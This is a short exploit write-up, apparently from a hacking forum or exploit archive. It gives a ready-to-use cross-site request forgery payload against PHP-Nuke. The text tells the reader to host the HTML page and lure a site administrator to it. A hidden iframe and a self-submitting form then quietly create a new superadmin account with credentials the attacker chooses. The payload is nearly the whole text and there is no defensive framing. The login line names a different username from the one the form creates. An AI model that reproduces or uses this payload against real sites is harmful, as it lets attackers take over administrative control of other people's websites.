Paste this code into an HTML page then link it to victim (victim must be admin)

  <iframe name="aiuto" frameborder="0" height="0" width="0"></iframe>
  <FORM name="Faiuto" ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST>
  <input type=hidden NAME="add_name" value="ATTACKER">
  <input type=hidden NAME="add_aid" value="ATTACKER">
  <input type=hidden NAME="add_email" value="YOURMAIL@YOURDOMAIN.IT">
  <input type=hidden NAME="add_url" value="YOURSITE">
  <input type=hidden NAME="add_admlanguage" value="italian">
  <input type=hidden NAME="add_radminsuper" value="1">
  <input type=hidden NAME="add_pwd" value="YOURPASSWORD">
  <input type=hidden NAME="op" value="AddAuthor">
  <input type="image" height="0" width="0">
  </FORM><SCRIPT>document.Faiuto.submit()</SCRIPT> 

You are admin now ;)

Then you can log in into phpnuke with user HACKER and pass YOURPASSWORD...